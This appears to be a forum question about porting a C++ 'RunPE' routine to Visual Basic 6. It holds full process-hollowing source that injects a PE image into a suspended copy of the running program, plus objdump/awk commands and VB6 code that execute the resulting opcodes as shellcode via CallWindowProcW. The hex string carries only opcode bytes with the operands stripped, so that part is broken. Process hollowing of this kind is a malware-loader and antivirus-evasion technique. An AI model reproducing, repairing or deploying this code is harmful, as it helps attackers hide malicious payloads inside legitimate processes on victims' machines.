Problems with converting runpe C++ to vb6

#include <Windows.h> // WinAPI Header

int RunPortableExecutable(void* Image)
{
    IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
    IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
    IMAGE_SECTION_HEADER* SectionHeader;

    PROCESS_INFORMATION PI;
    STARTUPINFOA SI;

    CONTEXT* CTX;

    DWORD* ImageBase; // Base address of the image
    void* pImageBase; // Pointer to the image base

    int count;
    char CurrentFilePath[1024];

    DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable
    NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize

    GetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable

    if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
    {
        ZeroMemory(&PI, sizeof(PI)); // Null the memory
        ZeroMemory(&SI, sizeof(SI)); // Null the memory

        if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE,
            CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current
            // process in suspended state, for the new image.
        {
            // Allocate memory for the context.
            CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
            CTX->ContextFlags = CONTEXT_FULL; // Context is allocated

            if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) // if context is in thread
            {
                // Read instructions
                ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);

                pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
                    NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);

                // Write the image to the process
                WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);

                for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
                {
                    SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
                    
                    WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
                        LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
                }
                WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8),
                    LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
                
                // Move address of entry point to the eax register
                CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
                SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
                ResumeThread(PI.hThread); // Start the process/call main()

                return 0; // Operation was successful.
            }
        }
    }
    return -1;
}

clang -c -m32  -O2 -mno-sse -mno-avx a.cpp -o a.o

objdump -M intel -d a.o

objdump -M intel --disassemble=__Z21RunPortableExecutablePv a.o | grep -E '^\s*[0-9a-f]+:' | awk -F '[\t:]' '{gsub(/ /, "", $1); gsub(/ /, "", $3); hex = "\""$3"\""; printf "s_Asm = s_Asm & %-32s '"'"'%s: %-6s%s\n", hex, $1, $4, $5}'

s_Asm =             "55535756818B8B8D68506AFFBB81000FC"
s_Asm = s_Asm & "700C700C700C78D31B989F38950526A6A"
s_Asm = s_Asm & "6A6A6A6A6A8D50FF850F6A686A6AFF89C"
s_Asm = s_Asm & "750FFFF850F01898B838D6A6A5150FFFF"
s_Asm = s_Asm & "8D896A68FFFFFFFF6AFF568950FFFF896"
s_Asm = s_Asm & "6748D893166008B8B038B016AFF5251FF"
s_Asm = s_Asm & "FF460F8339728B8B836A6AFF50FFFF8B0"
s_Asm = s_Asm & "38956FFFFFFFF3189815E5F5B5DC3"

Private Declare Function CallWindowProcW Lib "user32" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Public Sub memory(ByVal ruta As String, binario() As Byte)

Dim s_Asm As String
s_Asm =             "55535756818B8B8D68506AFFBB81000FC"
s_Asm = s_Asm & "700C700C700C78D31B989F38950526A6A"
s_Asm = s_Asm & "6A6A6A6A6A8D50FF850F6A686A6AFF89C"
s_Asm = s_Asm & "750FFFF850F01898B838D6A6A5150FFFF"
s_Asm = s_Asm & "8D896A68FFFFFFFF6AFF568950FFFF896"
s_Asm = s_Asm & "6748D893166008B8B038B016AFF5251FF"
s_Asm = s_Asm & "FF460F8339728B8B836A6AFF50FFFF8B0"
s_Asm = s_Asm & "38956FFFFFFFF3189815E5F5B5DC3"
Dim byteArray() As Byte
ReDim byteArray((Len(s_Asm) \ 2) - 1) As Byte
Dim i As Long, k As Long

For i = 1 To Len(s_Asm) Step 2
    byteArray(k) = CByte("&H" & Mid$(s_Asm, i, 2)): k = k + 1
Next i

CallWindowProcW VarPtr(byteArray(0)), StrPtr(ruta), VarPtr(binario(0)), 0, 0
End Sub